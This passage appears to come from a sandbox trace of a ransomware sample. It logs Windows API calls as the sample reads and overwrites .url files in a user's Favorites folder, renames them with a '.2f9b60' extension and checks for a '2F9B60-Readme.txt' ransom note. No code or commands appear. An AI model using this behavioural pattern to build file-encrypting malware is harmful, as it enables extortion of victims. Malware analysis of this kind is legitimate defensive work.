Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\2f9b60-readme.txt")) returned 0x20 [0225.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318af40) returned 1 [0225.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862670) returned 1 Thread: id = 1935 os_tid = 0x1104 [0134.548] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url")) returned 0x20 [0134.548] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", dwFileAttributes=0x20) returned 1 [0135.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c78 [0135.654] GetFileSizeEx (in: hFile=0x1c78, lpFileSize=0x2eebfd20 | out: lpFileSize=0x2eebfd20*=133) returned 1 [0135.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268010 [0135.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fe0 [0135.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0135.654] NtQuerySystemTime (in: CurrentTime=0x2eebfbe0 | out: CurrentTime=0x2eebfbe0*=132462177408910000) returned 0x0 [0135.654] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x234a180f [0135.654] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x2340a9a7 [0135.654] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x6152dd94 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x1e45590d [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x7e75e351 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x378b0377 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x282c6b4e [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x4a33fb84 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x508fe837 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x19c7b761 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x3dd27418 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x1963bd34 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x1c87ac3f [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x7aebbcc6 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x1e1892f1 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x2d0d672c [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x7ffd56af [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x5741201 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x2fe764 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x4f2bd66c [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x38b596b3 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x51e2f707 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x44d145d6 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x2c7cdd6b [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x6b1b8679 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x17d16ae7 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x53939169 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x4c94164c [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x5bb32f0 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x5eb9ddc8 [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x49bc733b [0135.655] RtlRandomEx (in: Seed=0x2eebfbd0 | out: Seed=0x2eebfbd0) returned 0x3fd37265 [0135.665] ReadFile (in: hFile=0x1c78, lpBuffer=0x41d0c1b0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2eebfbd0, lpOverlapped=0x0 | out: lpBuffer=0x41d0c1b0*, lpNumberOfBytesRead=0x2eebfbd0*=0x85, lpOverlapped=0x0) returned 1 [0135.667] SetFilePointerEx (in: hFile=0x1c78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.667] WriteFile (hFile=0x1c78, lpBuffer=0x41cf1d40, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2eebfbd4, lpOverlapped=0x0) [0171.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e00 [0171.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f20 [0171.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f20) returned 1 [0171.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cf1d40) returned 1 [0171.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d0c1b0) returned 1 [0171.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 [0171.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0171.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9e9f0 [0171.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0171.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d5f0 [0171.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f20 [0171.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f20) returned 1 [0171.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9ef30 [0171.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f20 [0171.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0171.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e90) returned 1 [0171.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 [0171.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0171.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x42c20c70 [0171.095] SetFilePointerEx (in: hFile=0x1c78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.095] WriteFile (in: hFile=0x1c78, lpBuffer=0x42c20c70*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2eebfcf0, lpOverlapped=0x0 | out: lpBuffer=0x42c20c70*, lpNumberOfBytesWritten=0x2eebfcf0*=0x11c, lpOverlapped=0x0) returned 1 [0188.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97530 [0188.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267590 [0188.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267590) returned 1 [0188.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f4f0 [0188.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267590 [0188.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267560 [0188.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267560) returned 1 [0188.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0188.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd86250 [0188.221] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="45") returned 2 [0188.221] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="96") returned 2 [0188.221] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="4c") returned 2 [0188.221] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="73") returned 2 [0188.221] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="2f") returned 2 [0188.221] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="fb") returned 2 [0188.221] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="db") returned 2 [0188.221] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="e3") returned 2 [0188.221] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="3d") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="5f") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="5b") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="22") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="07") returned 2 [0188.222] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="b9") returned 2 [0188.222] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="17") returned 2 [0188.222] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="c1") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="21") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="7a") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="0d") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="65") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="ad") returned 2 [0188.222] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="8f") returned 2 [0188.222] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="7f") returned 2 [0188.222] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="1b") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="5a") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="85") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="90") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="4c") returned 2 [0188.222] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="d3") returned 2 [0188.222] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="cc") returned 2 [0188.223] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="d0") returned 2 [0188.223] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="a8") returned 2 [0188.223] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="6a") returned 2 [0188.223] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="b4") returned 2 [0188.223] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="6f") returned 2 [0188.223] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="9c") returned 2 [0188.223] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="de") returned 2 [0188.223] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="29") returned 2 [0188.223] sprintf (in: _Dest=0x1cd8629c, _Format="%c%c" | out: _Dest="55") returned 2 [0188.223] sprintf (in: _Dest=0x1cd8629e, _Format="%c%c" | out: _Dest="9d") returned 2 [0188.223] sprintf (in: _Dest=0x1cd862a0, _Format="%c%c" | out: _Dest="18") returned 2 [0188.223] sprintf (in: _Dest=0x1cd862a2, _Format="%c%c" | out: _Dest="94") returned 2 [0188.223] RtlInitAnsiString (in: DestinationString=0x2eebfd68, SourceString="45964c732ffbdbe33d5f5b2207b917c1217a0d65ad8f7f1b5a85904cd3ccd0a86ab46f9cde29559d1894" | out: DestinationString="45964c732ffbdbe33d5f5b2207b917c1217a0d65ad8f7f1b5a85904cd3ccd0a86ab46f9cde29559d1894") [0188.223] RtlAnsiStringToUnicodeString (in: DestinationString=0x2eebfd38, SourceString="45964c732ffbdbe33d5f5b2207b917c1217a0d65ad8f7f1b5a85904cd3ccd0a86ab46f9cde29559d1894", AllocateDestinationString=1 | out: DestinationString="45964c732ffbdbe33d5f5b2207b917c1217a0d65ad8f7f1b5a85904cd3ccd0a86ab46f9cde29559d1894") returned 0x0 [0188.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c377d0 [0188.224] RtlFreeAnsiString (AnsiString="4") [0188.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86250) returned 1 [0188.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4f0) returned 1 [0188.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267590) returned 1 [0188.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20c70) returned 1 [0188.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef30) returned 1 [0188.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f20) returned 1 [0188.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e9f0) returned 1 [0188.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e00) returned 1 [0188.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267fe0) returned 1 [0188.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267da0) returned 1 [0188.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267d70) returned 1 [0188.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b862a90 [0188.229] wcscat (in: _Dest=0x1b862a90, _Source="45964c732ffbdbe33d5f5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\45964c732ffbdbe33d5f5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\45964c732ffbdbe33d5f5" [0188.229] wcscat (in: _Dest=0x1b862a90, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\45964c732ffbdbe33d5f5.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\45964c732ffbdbe33d5f5.2f9b60" [0188.230] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\45964c732ffbdbe33d5f5.2f9b60", NtPathName=0x2eebfd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\45964c732ffbdbe33d5f5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x119310 [0216.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119310) returned 1 [0216.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c136b0) returned 1 [0216.509] NtQueryInformationFile (in: FileHandle=0x1c78, IoStatusBlock=0x2eebfd78, FileInformation=0x2eebfd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2eebfd78, FileInformation=0x2eebfd88) returned 0x0 [0216.509] NtSetInformationFile (FileHandle=0x1c78, IoStatusBlock=0x2eebfd78, FileInformation=0x2eebfd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0220.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862a90) returned 1 [0220.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c377d0) returned 1 [0220.125] FlushFileBuffers (hFile=0x1c78) returned 1 [0221.389] CloseHandle (hObject=0x1c78) returned 1 [0222.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431840c0 [0222.854] wcscpy (in: _Dest=0x431840c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0222.854] wcscat (in: _Dest=0x431840c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt" [0222.854] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\2f9b60-readme.txt")) returned 0x20 [0225.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431840c0) returned 1 [0225.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 Thread: id = 1936 os_tid = 0x1108 [0134.640] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url")) returned 0x20 [0135.436] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", dwFileAttributes=0x20) returned 1 [0135.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cb4 [0135.697] GetFileSizeEx (in: hFile=0x1cb4, lpFileSize=0x2ef8fb20 | out: lpFileSize=0x2ef8fb20*=133) returned 1 [0135.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268010 [0135.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d10 [0135.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c20 [0135.698] NtQuerySystemTime (in: CurrentTime=0x2ef8f9e0 | out: CurrentTime=0x2ef8f9e0*=132462177409378000) returned 0x0 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x78e0d77e [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x4f4760e7 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x66e6cd4d [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x16fa4d7a [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0xaeb5dfc [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x3b987a9a [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x7cc65ec3 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x4407d86a [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x6e788af9 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x36fcb218 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x81b4523 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x6cfb2f7a [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x1005d291 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x4e9295e3 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x57c64da8 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x6fc796d8 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x3a288205 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x36b8289 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x193fb567 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x294916ae [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x56ee67a6 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0xea24a63 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x163c05d4 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x1b4492e3 [0135.698] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x511d337d [0135.699] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x1fbf3323 [0135.699] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x7bc133b [0135.699] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x4e1a9c59 [0135.699] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x3be05c55 [0135.699] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x1dd6bbb1 [0135.699] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0x20531535 [0135.699] RtlRandomEx (in: Seed=0x2ef8f9d0 | out: Seed=0x2ef8f9d0) returned 0xcf5d2e3 [0135.709] ReadFile (in: hFile=0x1cb4, lpBuffer=0x41cf5950, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2ef8f9d0, lpOverlapped=0x0 | out: lpBuffer=0x41cf5950*, lpNumberOfBytesRead=0x2ef8f9d0*=0x85, lpOverlapped=0x0) returned 1 [0135.710] SetFilePointerEx (in: hFile=0x1cb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.710] WriteFile (hFile=0x1cb4, lpBuffer=0x41cd3cc0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2ef8f9d4, lpOverlapped=0x0) [0180.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0180.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0180.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0180.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd3cc0) returned 1 [0180.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cf5950) returned 1 [0180.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0180.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0180.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97530 [0180.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0180.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0180.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0180.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0180.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97a30 [0180.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0180.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0180.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0180.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0180.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0180.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x42c214c0 [0180.029] SetFilePointerEx (in: hFile=0x1cb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.029] WriteFile (in: hFile=0x1cb4, lpBuffer=0x42c214c0*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2ef8faf0, lpOverlapped=0x0 | out: lpBuffer=0x42c214c0*, lpNumberOfBytesWritten=0x2ef8faf0*=0x120, lpOverlapped=0x0) returned 1 [0188.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0188.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c30 [0188.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c30) returned 1 [0188.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9fb30 [0188.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c30 [0188.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 